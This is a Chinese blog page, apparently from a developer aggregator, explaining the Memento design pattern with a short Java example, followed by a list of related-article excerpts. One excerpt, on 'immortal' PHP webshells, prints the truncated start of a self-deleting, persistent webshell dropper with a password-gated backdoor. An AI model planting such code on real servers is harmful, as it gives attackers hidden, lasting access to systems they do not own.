当前位置: 首页 > news >正文

小谈设计模式(19)—备忘录模式

小谈设计模式(19)—备忘录模式

  • 专栏介绍
    • 专栏地址
    • 专栏介绍
  • 备忘录模式
    • 主要角色
      • 发起人(Originator)
      • 备忘录(Memento)
      • 管理者(Caretaker)
    • 应用场景
    • 结构
    • 实现步骤
    • Java程序实现
      • 首先,我们定义发起人类(Originator)
      • 然后,定义备忘录类(Memento)
      • 接下来,定义管理者类(Caretaker)
      • 最后,我们可以在客户端中使用备忘录模式
      • 输出结果
      • 程序分析
    • 优缺点分析
      • 优点
      • 缺点
    • 总结

专栏介绍

专栏地址

link

专栏介绍

主要对目前市面上常见的23种设计模式进行逐一分析和总结,希望有兴趣的小伙伴们可以看一下,会持续更新的。希望各位可以监督我,我们一起学习进步,加油,各位。
在这里插入图片描述

备忘录模式

备忘录模式(Memento Pattern)是一种行为型设计模式,它允许在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,以便在需要时能将该对象恢复到原先保存的状态。

在这里插入图片描述

主要角色

发起人(Originator)

负责创建一个备忘录对象,用于保存自身状态,并可以使用备忘录对象来恢复自身状态。

备忘录(Memento)

用于存储发起人对象的内部状态,可以包含多个状态属性。

管理者(Caretaker)

负责保存备忘录对象,但不能对备忘录对象进行修改或检查。

在这里插入图片描述

应用场景

  • 需要保存和恢复对象的内部状态,但不希望暴露对象实现细节。
  • 需要在某个时间点保存对象的状态,并在需要时恢复到该状态。
  • 需要实现撤销操作。

在这里插入图片描述

结构

  • 发起人(Originator)
    负责创建一个备忘录对象,保存自身状态,并可以使用备忘录对象来恢复自身状态。可以通过构造函数或者setter方法将自身状态传递给备忘录对象。
  • 备忘录(Memento)
    用于存储发起人对象的内部状态,可以包含多个状态属性。备忘录对象应该只能由发起人对象访问。
  • 管理者(Caretaker)
    负责保存备忘录对象,但不能对备忘录对象进行修改或检查。可以使用栈或列表等数据结构来保存多个备忘录对象,以支持多次撤销操作。

在这里插入图片描述

实现步骤

  • 在发起人类中,定义一个内部类作为备忘录类,该类用于保存发起人对象的状态。
  • 在发起人类中,提供创建备忘录对象、恢复状态的方法。
  • 在管理者类中,保存备忘录对象,并提供对外的保存和获取备忘录对象的方法。
  • 在客户端中,通过发起人类和管理者类来实现对对象状态的保存和恢复操作。

在这里插入图片描述

Java程序实现

首先,我们定义发起人类(Originator)

public class Originator {private String state;public void setState(String state) {this.state = state;}public String getState() {return state;}public Memento createMemento() {return new Memento(state);}public void restoreMemento(Memento memento) {this.state = memento.getState();}
}

然后,定义备忘录类(Memento)

public class Memento {private String state;public Memento(String state) {this.state = state;}public String getState() {return state;}
}

接下来,定义管理者类(Caretaker)

public class Caretaker {private Memento memento;public void saveMemento(Memento memento) {this.memento = memento;}public Memento getMemento() {return memento;}
}

最后,我们可以在客户端中使用备忘录模式

public class Client {public static void main(String[] args) {Originator originator = new Originator();originator.setState("State 1");Caretaker caretaker = new Caretaker();caretaker.saveMemento(originator.createMemento());originator.setState("State 2");System.out.println("Current state: " + originator.getState());originator.restoreMemento(caretaker.getMemento());System.out.println("Restored state: " + originator.getState());}
}

输出结果

Current state: State 2
Restored state: State 1

在这里插入图片描述

程序分析

以上代码演示了备忘录模式的基本用法。发起人类(Originator)保存了一个状态(state),并提供了创建备忘录和恢复状态的方法。管理者类(Caretaker)负责保存备忘录对象。在客户端中,我们可以通过发起人类和管理者类来实现对状态的保存和恢复操作。

在这里插入图片描述

优缺点分析

优点

  • 发起人类与备忘录类解耦,发起人类不需要知道备忘录类的实现细节。
  • 备忘录类对外提供只读的状态访问接口,保证了状态的安全性。
  • 可以轻松实现撤销操作,只需要保存多个备忘录对象,并在需要时恢复到指定的状态。

缺点

  • 如果需要保存的状态非常庞大,备忘录对象的创建和恢复操作可能会消耗大量的资源。

在这里插入图片描述

总结

备忘录模式通过将对象的状态保存到备忘录对象中,实现了状态的保存和恢复。它可以帮助我们实现撤销操作,以及在需要时恢复对象的状态。备忘录模式可以提高系统的灵活性和可维护性,但需要注意备忘录对象的创建和恢复操作可能会消耗较多的资源。在实际应用中,我们可以根据具体的需求和场景来选择是否使用备忘录模式。

相关文章:

小谈设计模式(19)—备忘录模式

小谈设计模式(19)—备忘录模式 专栏介绍专栏地址专栏介绍 备忘录模式主要角色发起人(Originator)备忘录(Memento)管理者(Caretaker) 应用场景结构实现步骤Java程序实现首先&#xff…...

《数据库系统概论》王珊版课后习题

第一章 绪论 1.数据、数据库、数据库管理系统、数据库系统的概念 (1)数据(Data):数据是数据库中存储的基本对象,是描述事物的符号记录。数据有多种表现形式,它们都可以经过数字化后存入计算机…...

MariaDB 修改用户远程登录

今天修改MariaDB数据库用户的Host时出现错误: ERROR 1356 (HY000): View ‘mysql.user’ references invalid table(s) or column(s) or function(s) or definer/invoker of view lack rights to use them 我的步骤如下: 1.登陆 2.use mysql; 3.执行…...

Elasticsearch使用mapping映射定义以及基本的数据类型

1、说明 Elasticsearch的映射相当于数据库的数据字典,它定义了每个字段的名称和能够保存的数据类型,并且内置了20多种字段类型用于支持多种多样的结构化数据,这里仅介绍几种常用的字段类型,如需要了解全部的类型,请参…...

【unity】制作一个角色的初始状态(左右跳二段跳)【2D横板动作游戏】

前言 hi~ 大家好!欢迎大家来到我的全新unity学习记录系列。现在我想在2d横板游戏中,实现一个角色的初始状态-闲置状态、移动状态、空中状态。并且是利用状态机进行实现的。 本系列是跟着视频教程走的,所写也是作者个人的学习记录笔记。如有错…...

不死马的利用与克制(基于条件竞争)及变种不死马

不死马即内存马&#xff0c;它会写进进程里&#xff0c;并且无限地在指定目录中生成木马文件 这里以PHP不死马为例 测试代码&#xff1a; <?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file .test.php;$code <?php if(md5($_GET["pass…...

计算机竞赛 车道线检测(自动驾驶 机器视觉)

0 前言 无人驾驶技术是机器学习为主的一门前沿领域&#xff0c;在无人驾驶领域中机器学习的各种算法随处可见&#xff0c;今天学长给大家介绍无人驾驶技术中的车道线检测。 1 车道线检测 在无人驾驶领域每一个任务都是相当复杂&#xff0c;看上去无从下手。那么面对这样极其…...

Java代理简介

代理简介 Java中的代理是一种设计模式&#xff0c;它允许一个对象&#xff08;代理对象&#xff09;代表另一个对象&#xff08;真实对象&#xff09;来控制对真实对象的访问。代理对象通常拥有与真实对象相同的接口&#xff0c;这使得客户端可以通过代理来访问真实对象&#…...

rust元组

一、元组定义 &#xff08;一&#xff09;语法 let tuple_name: (data_type1, data_type2, data_type3) (value1, value2, value3);可以不显式指定类型 let tuple_name (value1,value2,value3);使用一对小括号 () 把所有元素放在一起&#xff0c;元素之间使用逗号 , 分隔。…...

HTTPS工作过程,国家为什么让http为什么要换成https,Tomcat在MAC M1电脑如何安装,Tomcat的详细介绍

目录 引言 一、HTTPS工作过程 二、Tomcat 在访达中找到下载好的Tomcat文件夹&#xff08;这个要求按顺序&#xff09; zsh: permission denied TOMCAT的各部分含义&#xff1a; 引言 在密码中一般是&#xff1a;明文密钥->密文&#xff08;加密&#xff09; &#xff…...

第十课 贪心

文章目录 第十课 贪心lc 322.零钱兑换--中等题目描述代码展示 lc860.柠檬水找零--简单题目描述代码展示 lc455.分发饼干--简单题目描述代码展示 lc122.买卖股票的最佳时机II--中等题目描述代码展示 lc45.跳跃游戏II--中等题目描述代码展示 lc1665.完成所有任务的最少初始能量--…...

5分钟理解什么是卷积的特征提取

大家好啊&#xff0c;我是董董灿。 卷积算法之所以重要&#xff0c;关键在于其提取特征的能力。 5分钟入门卷积算法中提到&#xff0c;卷积模仿的就是人眼识图的过程&#xff0c;以“感受野”的视角去扫描图片&#xff0c;从而获取不同区域的图片信息。 在这一过程中&#x…...

Legion Y9000X IRH8 2023款(82Y3)原装出厂OEM预装Windows11系统

lenovo联想电脑笔记本拯救者原厂win11系统镜像 下载链接&#xff1a;https://pan.baidu.com/s/15G01j7ROVqOFOETccQSKHg?pwdt1ju 系统自带所有驱动、出厂主题壁纸、Office办公软件、联想电脑管家等预装程序 所需要工具&#xff1a;32G或以上的U盘 文件格式&#xff1a;ISO…...

【Acwing1010】拦截导弹(LIS+贪心)题解

题目描述 思路分析 本题有两问&#xff0c;第一问直接用lis的模板即可&#xff0c;下面重点看第二问 思路是贪心&#xff1a; 贪心流程&#xff1a; 从前往后扫描每一个数&#xff0c;对于每个数&#xff1a; 情况一&#xff1a;如果现有的子序列的结尾都小于当前的数&…...

DevicData-D-XXXXXXXX勒索病毒数据恢复|金蝶、用友、管家婆、OA、速达、ERP等软件数据库恢复

引言&#xff1a; 在数字时代&#xff0c;数据安全成为一项至关重要的挑战。DevicData-D-XXXXXXXX勒索病毒&#xff08;以下简称DevicData病毒&#xff09;是这场战斗中的新敌人&#xff0c;它能够以毁灭性的方式加密您的数据&#xff0c;迫使您在数据和时间之间做出艰难的选择…...

从入门到精通,30天带你学会C++【第七天:for循环和while循环以及数组的学习】(学不会你找我)

目录 Everyday English 前言 数组 数组的概念 数组的定义 数组的下标 for循环 循环是什么 基本格式 多重循环 while循环 do-while循环 总结 Everyday English To shine , not be illuminated. 去发光&#xff0c;而不是被照亮。 前言 好久不见&#xff0c…...

Python 编程基础 | 第五章-类与对象 | 5.2、数据成员

一、数据成员 数据成员是指类中定义的变量&#xff0c;即属性&#xff0c;根据定义位置&#xff0c;又可以分为类属性和实例属性&#xff0c;下面分别进行介绍。 1、实例属性 实例属性是指定义在类的方法中的属性&#xff0c;该属性属于当前实例&#xff0c;例如&#xff1a;…...

PHP 个人愿望众筹网站系统mysql数据库web结构apache计算机软件工程网页wamp

一、源码特点 PHP 个人愿望众筹网站系统是一套完善的web设计系统&#xff0c;对理解php编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。 php 个人愿望众筹网站 代码 https://download.csdn.net/download/qq_41221322/8…...

JS--判断空值(null、undefined、NaN、false、空字符串等)

原文网址&#xff1a;JS--判断空值(null、undefined、NaN、false、空字符串等)_IT利刃出鞘的博客-CSDN博客 简介 本文介绍JavaScript判断空值的方法。 空值包括&#xff1a;undefined&#xff0c;null&#xff0c;NaN&#xff0c;&#xff0c;false&#xff0c;{}&#xff0…...

ChatGPT 背后包含了哪些技术?

ChatGPT 是由OpenAI开发的一款基于GPT-3&#xff08;Generative Pre-trained Transformer 3&#xff09;的人工智能语言模型。这个模型是使用多种编程语言和技术组合编写的。 首先&#xff0c;ChatGPT 使用了 Python 作为主要的编程语言。Python 是一种流行的高级编程语言&…...

Vue Router(二)

目录 一、嵌套路由 1、路由定义 2、代码例子 3、重定向 二、懒加载 1、缘由 2、代码例子 三、导航守卫 1、全局前置守卫 2、全局后置守卫 3、meta元信息 四、生命周期 1、解释 2、执行顺序 3、例子 五、keep-alive组件缓存&#xff08;保活&#xff09; 1、介…...

ELK整合springboot(第二课)

一、创建一个springboot的项目 pom文件如下&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLo…...

运维常见的22个故障排查和10个问题解决技巧大汇总!

作为运维&#xff0c;多多少少会碰见这样那样的问题或故障&#xff0c;从中总结经验&#xff0c;查找问题&#xff0c;汇总并分析故障的原因&#xff0c;这是一个运维工程师良好的习惯。每一次技术的突破&#xff0c;都经历着苦闷&#xff0c;伴随着快乐&#xff0c;可我们还是…...

解决 TensorFlow 2.x 中的 “AttributeError: module ‘tensorflow‘ has no attribute ‘placeholder‘“ 错误

项目场景&#xff1a; 在使用 TensorFlow 框架实现深度学习应用时&#xff0c;可能会遇到以下错误&#xff1a; AttributeError: module tensorflow has no attribute placeholder问题描述 在 TensorFlow 1.x 版本中&#xff0c;placeholder 函数用于创建占位符张量。然而&a…...

新风机注意事项有哪些?

选择和使用新风机时&#xff0c;有几个关键注意事项需要牢记&#xff1a; 安装位置&#xff1a;新风机的安装位置很重要。通常情况下&#xff0c;应将其安装在室外以避免室内产生噪音和减少室内的体积占据。确保选择合适的安装位置&#xff0c;以便新风机能够顺利引入新鲜空气。…...

GitHub基础

1、仓库是什么意思&#xff1f;仓库拥有者是谁&#xff1f; 在软件开发或版本控制系统中&#xff0c;"仓库"&#xff08;Repository&#xff09;是指存储项目代码、配置文件、文档等相关文件的地方。它可以看作是一个中央存储库&#xff0c;用于管理和跟踪项目的各个…...

读书笔记--未来简史关键金句和阅读感悟

借着国庆假期&#xff0c;终于有时间研读了尤瓦尔.赫拉利的《未来简史》&#xff0c;作者的写作方式、文笔、观察视角都是我喜欢的类型&#xff0c;作者从古到今&#xff0c;谈到了上帝、神、宗教、科技、生物、智人到未来的超人智神&#xff08;数据主义&#xff09;&#xff…...

【Vue2.0源码学习】生命周期篇-销毁阶段(destroy)

文章目录 1. 前言2. 销毁阶段分析3. 总结 1. 前言 接下来到了生命周期流程的最后一个阶段——销毁阶段。从官方文档给出的生命周期流程图中可以看到&#xff0c;当调用了vm.$destroy方法&#xff0c;Vue实例就进入了销毁阶段&#xff0c;该阶段所做的主要工作是将当前的Vue实例…...

代理IP与Socks5代理在多领域的卓越应用

随着数字化时代的到来&#xff0c;网络工程师在跨界电商、爬虫、出海业务、网络安全和游戏等多个领域中扮演着至关重要的角色。在这些领域中&#xff0c;代理IP与Socks5代理技术已经成为网络工程师的得力助手&#xff0c;本文将深入探讨它们在技术世界中的卓越应用。 1. 跨界电…...

kafka怎么实现零拷贝(Zero-Copy)的?

Kafka 实现零拷贝&#xff08;Zero-Copy&#xff09;主要依赖于操作系统和底层网络库的支持&#xff0c;而不是特定的算法。这是因为零拷贝是一种优化数据传输的技术&#xff0c;通常是通过操作系统和硬件来实现的。以下是 Kafka 如何实现零拷贝的一般原理&#xff1a; 直接内存…...

猪八戒做的网站怎么样/草莓永久地域网名入2022

1、mongodb 使用安全认证时&#xff0c;添加用户使用createUser&#xff0c;具体如下&#xff1a; 定义&#xff1a; 创建一个数据库新用户用db.createUser()方法&#xff0c;如果用户存在则返回一个用户重复错误。 语法&#xff1a; db.createUser(user, writeConcern) …...

商业网站导航怎么做/如何进行网站推广

蓝桥杯 分巧克力 python 题目标题 儿童节那天有K位小朋友到小明家做客。小明拿出了珍藏的巧克力招待小朋友们。 小明一共有N块巧克力&#xff0c;其中第i块是Hi x Wi的方格组成的长方形。 为了公平起见&#xff0c;小明需要从这 N 块巧克力中切出K块巧克力分给小朋友们。切…...

优化志愿网站/网络精准推广

作为网页设计师或前端工程师&#xff0c;你可能还记得曾经的那个网页大小建议&#xff1a;一个网页(包括HTML、CSS、Javacript、Flash和图片)尽量不要超过30KB的大小&#xff0c;随着互联网的日益庞大&#xff0c;网络带宽也在飞速发展&#xff0c;很多设计师已经不再考虑这条3…...

深圳住房建设部官方网站/网站设计公司有哪些

Android 的 layout 文件中有时候可能会指定具体的单位&#xff0c;比如有时候为 px 、 dip 或者 sp 等。他们的区别如下&#xff1a; 1. px (pixels)像素&#xff1a;这个大家用得比较多&#xff0c;一般我们HVGA代表320x480像素。 2. dip或dp (device independent pixels)设…...

网站面试通知表格怎么做/360建站和凡科哪个好

Percona Server 刚在 2013 DeveloperWeek Best of Tech award 中赢得最具创新的 SQL 技术奖。 我们很骄傲的接受了这个奖项&#xff0c;该奖项的评选是由独立的评审小组选出&#xff0c;非常感谢你们对 Percona Server 的投票。 Percona 为 MySQL 数据库服务器进行了改进&#…...

wordpress调用 php文件上传/百度下载安装到手机

事件&#xff1a; 由于前一天的晚上加班了、第二天又接着上班、所以精神上有点不在状态&#xff1b;收到客户的反馈说在slave上找不到master刚刚插入的数据&#xff1b; 阶段1&#xff1a; 遇到这事的第一感觉就是这可能是主从延时、或是slave的复制出错了使得数据没有同步、于…...